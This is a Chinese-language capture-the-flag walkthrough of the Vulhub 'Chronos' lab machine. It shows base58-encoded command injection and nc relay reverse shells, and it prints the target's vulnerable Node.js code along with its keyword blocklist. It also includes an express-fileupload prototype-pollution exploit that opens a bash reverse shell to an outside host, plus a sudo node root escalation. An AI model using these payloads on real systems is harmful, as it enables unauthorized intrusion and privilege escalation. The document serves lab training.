当前位置:   article > 正文

kali之vulhub,chronos_在kali中查看网页源代码

在kali中查看网页源代码

目录

一、主机发现

二、端口扫描

三、服务版本扫描

四、登录http协议服务所开放的端口

1.加载页面源代码

2.查看脚本数据​

五、Cyberchef进行解码

1.cyberchef简单介绍

2.javascript beauty把数据转码

3.利用这个网址

4.尝试重新访问页面

 4.解码参数

六、尝试命令注入

1.对其编码

2.进行命令注入

 七、nc连接

1.尝试nc是否可行

(1)侦听端口

(2)建立连接

2.nc串联

八、信息收集

1.查看当前目录下的文件

(1)package.json

(2)查看app.js

2.对上一级目录进行查看

(1)server.js的内容,

(2)package.json文件

3./etc/home

(1)imera用户

(2)查看imera家目录

 九、利用express-fileupload库的漏洞提权拿到imera权限

1.利用代码:

2.步骤

(1)侦听端口

(2)获得imera权限

(3)查看user.txt,得到flag

 十、利用 sudo -l 提权获得root权限

1.用于显示当前用户可以用 sudo 执行那些命令。

2.利用node反弹shell


一、主机发现

利用netdiscover工具

最后的子网掩码最好 -8 扫描,这样扫描出来的效果更好

sudo netdiscover -r 192.168.43.27/16

可以看到 192.168.43.49就是我们要攻击的靶机

二、端口扫描

三、服务版本扫描

 

四、登录http协议服务所开放的端口

1.加载页面源代码

发现两个页面的源代码一样。唯一有用信息就是脚本里的信息,把他放到复制下来看一下。

2.查看脚本数据

发现是一堆加密的字符,所以试着去解密这些字符

五、Cyberchef进行解码

1.cyberchef简单介绍

三个框框,input是输入框,output是输出框,recipe译为佐料,这里是放置转码类型的地方。

2.javascript beauty把数据转码

经过 转码我们就看到了这些内容

 有一条url信息对我们是有帮助的

3.利用这个网址

由于都是8000端口,猜测此域名和ip有所关联,为了让域名能正常解析,所以在kali上修改hosts文件,将ip与域名绑定到一起

4.尝试重新访问页面

爆出来一行 时间日期年月

 4.解码参数

利用magic模块来解码参数,解码出来是linux里的日期参数,可以猜测此参数就是调用到linux中的命令端口,所以尝试对参数进行命令注入

六、尝试命令注入

&& ls

1.对其编码

还是采用cyberchef这个加解密的瑞士军刀,选择to base64模块

2.进行命令注入

注入十分顺利,可以看到存在命令注入漏洞。

 七、nc连接

1.尝试nc是否可行

(1)侦听端口

nc -nvlp 5555

(2)建立连接

这里需要base58编码

nc 192.168.43.27 5555

页面报错,但是连接成功

2.nc串联

1.开启两个侦听端口

2.建立连接

要进行编码

&& nc 192.168.43.27 5555 | /bin/bash | nc 192.168.43.27 6666

7m71bMEyK3F7NzzUQKtp127YFLuqnV3pqN33VNWsDhnHuKrArnFkgtgARwefeJpPMVxrLDC2c9JHbik4pV

八、信息收集

1.查看当前目录下的文件

 该web应用使用node.js来开发的,我们来查看这些文件,特别是依赖包文件package.json和主程序文件app.js

(1)package.json

该文件下有依赖的库bs58(base58),cors和express这个常用的web应用开发框架。

(2)查看app.js

  1. // created by alienum for Penetration Testing
  2. //导入依赖库,设置端口
  3. const express = require('express');
  4. const { exec } = require("child_process");
  5. const bs58 = require('bs58');
  6. const app = express();
  7. const port = 8000;
  8. const cors = require('cors');
  9. //将地址进行路由的一个过程
  10. app.use(cors());
  11. app.get('/', (req,res) =>{
  12. res.sendFile("/var/www/html/index.html");
  13. });
  14. //这里就是将date命令和解密后的参数拼接的一段代码
  15. app.get('/date', (req, res) => {
  16. var agent = req.headers['user-agent'];
  17. var cmd = 'date ';
  18. const format = req.query.format;
  19. const bytes = bs58.decode(format);
  20. var decoded = bytes.toString();
  21. var concat = cmd.concat(decoded);
  22. //首先判断agent是否为chronos本机,之后检测是否有恶意的命令注入语句,
  23. //如果有则发出提醒Something went wrong,但是没有终止命令的执行
  24. if (agent === 'Chronos') {
  25. if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
  26. res.send("Something went wrong");
  27. }
  28. exec(concat, (error, stdout, stderr) => {
  29. if (error) {
  30. console.log(`error: ${error.message}`);
  31. return;
  32. }
  33. if (stderr) {
  34. console.log(`stderr: ${stderr}`);
  35. return;
  36. }
  37. res.send(stdout);
  38. });
  39. }
  40. else{
  41. res.send("Permission Denied");
  42. }
  43. })
  44. //运行前面拼接的命令
  45. app.listen(port,() => {
  46. console.log(`Server running at ${port}`);
  47. })

发现并没有对我们提权有所帮助的框架或者是信息。

2.对上一级目录进行查看

发现有一个chronos-v2的web应用,查看其中的文件

(1)server.js的内容,

可以看到address是127.0.0.1 端口port是8080,所以说这是架设在靶机服务器本地上的一个web应用。

  1. const express = require('express');
  2. const fileupload = require("express-fileupload");
  3. const http = require('http')
  4. const app = express();
  5. app.use(fileupload({ parseNested: true }));
  6. app.set('view engine', 'ejs');
  7. app.set('views', "/opt/chronos-v2/frontend/pages");
  8. app.get('/', (req, res) => {
  9. res.render('index')
  10. });
  11. const server = http.Server(app);
  12. const addr = "127.0.0.1"
  13. const port = 8080;
  14. server.listen(port, addr, () => {
  15. console.log('Server listening on ' + addr + ' port ' + port);
  16. });

(2)package.json文件

可以发现一个express-fileupload库,尝试去利用它。

3./etc/home

(1)imera用户

(2)查看imera家目录

发现有一个user.txt并且无法查看,只有imera用户具有权限

 

 九、利用express-fileupload库的漏洞提权拿到imera权限

1.利用代码:

  1. import requests
  2. cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
  3. # pollute
  4. requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
  5. None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
  6. # execute command
  7. requests.get('http://p6.is:7777')

2.步骤

(1)侦听端口

nc -nvlp 8888

(2)获得imera权限

(3)查看user.txt,得到flag

 十、利用 sudo -l 提权获得root权限

1.用于显示当前用户可以用 sudo 执行那些命令。

sudo -l

2.利用node反弹shell

sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'

 拿到了第二个flag

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/543038
推荐阅读
相关标签
  

闽ICP备14008679号